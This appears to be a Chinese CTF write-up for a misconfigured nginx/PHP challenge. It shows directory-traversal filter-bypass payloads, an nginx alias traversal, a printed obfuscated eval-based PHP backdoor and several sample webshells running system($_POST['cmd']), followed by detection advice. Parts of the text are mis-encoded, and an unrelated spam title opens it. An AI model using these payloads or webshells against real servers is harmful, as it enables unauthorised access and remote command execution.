建設(shè)一個網(wǎng)站多少錢游戲推廣怎么快速拉人
進入題目頁面如下
嘗試弱口令密碼登錄
一直顯示網(wǎng)站建設(shè)中,嘗試無果,查看源碼也沒有什么特別漏洞存在
用Kali中的dirsearch掃描根目錄試試
命令:
dirsearch -u http://61.147.171.105:53736/ -e*
登錄文件便是剛才登錄的界面打開robots.txt文件
有兩個文件分別查看
hint.php文件提示配置文件有問題
雖給出提示但根目錄也無法下手如何找到路徑
Hack.php一直彈窗請登錄!
嘗試用burp suite抓Hack.php文件的包
發(fā)現(xiàn)cookie的值登錄這里有異常,嘗試改變值,改為1試試
出現(xiàn)頁面
點擊多個鏈接并抓包在管理中心這個鏈接中抓包修改cookie值為1再放行得到/admin/admin.php?file=index&ext=php文件
發(fā)送到重放器重點分析
看了一位大佬的博客才知道可能過濾了../,鏈接如下
攻防世界web Web_php_wrong_nginx_config - zhangzhijie98 - 博客園
構(gòu)造payload
?file=i../ndex&ext=php
出現(xiàn)please continue
構(gòu)造payload
?file=i./ndex&ext=php
沒有出現(xiàn)please continue
判斷是過濾了../
嘗試用 ..././ 來繞過
構(gòu)造payload
?file=..././..././..././..././/etc/nginx/sites-enabled/site.conf&ext=
得到配置信息
? ? ? ? ? ? ? ? ? ? ? ?server {
? ? listen 8080; ## listen for ipv4; this line is default and implied
? ? listen [::]:8080; ## listen for ipv6? ? root /var/www/html;
? ? index index.php index.html index.htm;
? ? port_in_redirect off;
? ? server_name _;? ? # Make site accessible from http://localhost/
? ? #server_name localhost;? ? # If block for setting the time for the logfile
? ? if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
? ? ? ?set $year $1;
? ? ? ?set $month $2;
? ? ? ?set $day $3;
? ? }
? ? # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
? ? sendfile off;? ? ? ? set $http_x_forwarded_for_filt $http_x_forwarded_for;
? ? ? ? if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
? ? ? ? ? ? ? ? set $http_x_forwarded_for_filt $1???;
? ? ? ? }? ? # Add stdout logging
? ? access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
? ? error_log /var/log/nginx/error.log info;? ? location / {
? ? ? ? # First attempt to serve request as file, then
? ? ? ? # as directory, then fall back to index.html
? ? ? ? try_files $uri $uri/ /index.php?q=$uri&$args;
? ? ? ? server_tokens off;
? ? }? ? #error_page 404 /404.html;
? ? # redirect server error pages to the static page /50x.html
? ? #
? ? error_page 500 502 503 504 /50x.html;
? ? location = /50x.html {
? ? ? ? root /usr/share/nginx/html;
? ? }
? ? location ~ \.php$ {
? ? ? ? try_files $uri $uri/ /index.php?q=$uri&$args;
? ? ? ? fastcgi_split_path_info ^(.+\.php)(/.+)$;
? ? ? ? fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
? ? ? ? fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
? ? ? ? fastcgi_param SCRIPT_NAME $fastcgi_script_name;
? ? ? ? fastcgi_index index.php;
? ? ? ? include fastcgi_params;
? ? ? ? fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
? ? }? ? location ~ /\. {
? ? ? ? ? ? log_not_found off;
? ? ? ? ? ? deny all;
? ? }
? ? location /web-img {
? ? ? ? alias /images/;
? ? ? ? autoindex on;
? ? }
? ? location ~* \.(ini|docx|pcapng|doc)$ { ?
? ? ? ? ?deny all; ?
? ? } ?? ? include /var/www/nginx[.]conf;
}
?訪問 /web-img/,這個地方可以進行文件遍歷,直接點會跳轉(zhuǎn)到登錄頁面
構(gòu)造payload
/web-img../
在根目錄下/var/www/下有hack.php.bak文件
構(gòu)造payload
/web-img../var/www/
得到上述文件其中一個是hack.php的備份,下載下來
打開得到PHP代碼,但怎么是亂碼啊qyq
運行代碼,輸出$f,可以用下面這個在線運行工具
php在線運行,在線工具,在線編譯IDE_w3cschool
得到結(jié)果
$kh="42f7";$kf="e9ac"; function x($t,$k) {$c=strlen($k); $l=strlen($t);$o="";for ($i=0;$i<$l;) { for ($j=0;($j<$c&&$i<$l);$j++,$i++) { $o.=$t {$i}^$k {$j};}}return $o;}$r=$SERVER; $rr=@$r["HTTP_REFERER"]; $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; if($rr&&$ra) { $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); if($q&&$m) { @session_start(); $s=&$SESSION;$ss="substr";$sl="strtolower";$i=$m1.$m1; $h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p=""; for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m2]; if(strpos($p,$h)===0) { $s[$i]=""; $p=$ss($p,3);} if(array_key_exists($i,$s)) { $s[$i].=$p;$e=strpos($s[$i],$f); if($e) {$k=$kh.$kf;ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents(); ob_end_clean();$d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>");@session_destroy();}}}}
這里看大佬編寫了一個腳本最終得到flag
這里涉及一個PHP混淆后面分析的知識點
?PHP 混淆后門
PHP 混淆后門是一種經(jīng)過特殊處理的惡意 PHP 代碼,攻擊者將其部署在目標服務(wù)器上,以實現(xiàn)對服務(wù)器的遠程控制和非法訪問。為了逃避安全檢測工具(如防火墻、入侵檢測系統(tǒng)等)的監(jiān)測,攻擊者會對原始的后門代碼進行混淆處理?;煜侄伟ǖ幌抻谧兞亢秃瘮?shù)名替換、代碼結(jié)構(gòu)打亂、字符串加密等,使代碼難以閱讀和分析。
常見的 PHP 混淆后門形式及原理
1. 變量和函數(shù)名替換混淆
- 原理:將正常的變量名和函數(shù)名替換為無意義的隨機字符串,使代碼的語義變得模糊。
- 示例:
// 原始后門代碼
<?php
if ($_POST['pass'] == 'password') {system($_POST['cmd']);
}
?>// 混淆后的代碼
<?php
if ($_POST['a'] == 'b') {$c = 'system';$c($_POST['d']);
}
?>
在混淆后的代碼中,變量名和字符串都被替換,使得安全檢測工具難以通過關(guān)鍵字匹配發(fā)現(xiàn)后門。
2. 代碼結(jié)構(gòu)打亂混淆
- 原理:改變代碼的執(zhí)行順序,插入無用的代碼塊或分支,增加代碼的復(fù)雜度。
- 示例:
<?php
$rand = rand(1, 10);
if ($rand % 2 == 0) {if ($_POST['pass'] == 'password') {system($_POST['cmd']);}
} else {// 無用代碼塊$x = 1 + 2;$y = $x * 3;
}
?>
這種混淆方式使代碼邏輯變得混亂,增加了分析的難度。
3. 字符串加密混淆
- 原理:對代碼中的敏感字符串(如密碼、命令執(zhí)行函數(shù)名等)進行加密處理,在運行時再進行解密。
- 示例:
<?php
$key = 'secretkey';
$encrypted = 'aGVsbG8='; // 假設(shè)這是加密后的字符串
$decrypted = base64_decode($encrypted);
for ($i = 0; $i < strlen($decrypted); $i++) {$decrypted[$i] = $decrypted[$i] ^ $key[$i % strlen($key)];
}
if ($_POST['pass'] == $decrypted) {$func = 'system';$func($_POST['cmd']);
}
?>
在這個示例中,密碼字符串被加密,只有在運行時解密后才能使用,增加了檢測的難度。
檢測和防范 PHP 混淆后門的方法
檢測方法
- 靜態(tài)代碼分析:使用代碼掃描工具對服務(wù)器上的 PHP 文件進行全面掃描,檢測代碼中的異常模式和潛在的后門特征。一些開源的代碼掃描工具如 PHPCS(PHP_CodeSniffer)可以幫助發(fā)現(xiàn)代碼中的不規(guī)范和可疑之處
- 動態(tài)行為監(jiān)測:通過監(jiān)測服務(wù)器的運行行為,如異常的文件操作、網(wǎng)絡(luò)連接等,發(fā)現(xiàn)潛在的后門活動。入侵檢測系統(tǒng)(IDS)和入侵防御系統(tǒng)(IPS)可以對服務(wù)器的網(wǎng)絡(luò)流量和系統(tǒng)調(diào)用進行實時監(jiān)測
- 機器學(xué)習(xí)和深度學(xué)習(xí)方法:利用機器學(xué)習(xí)和深度學(xué)習(xí)算法對代碼的特征進行學(xué)習(xí)和分析,識別出混淆后門??梢杂?xùn)練模型來區(qū)分正常代碼和惡意代碼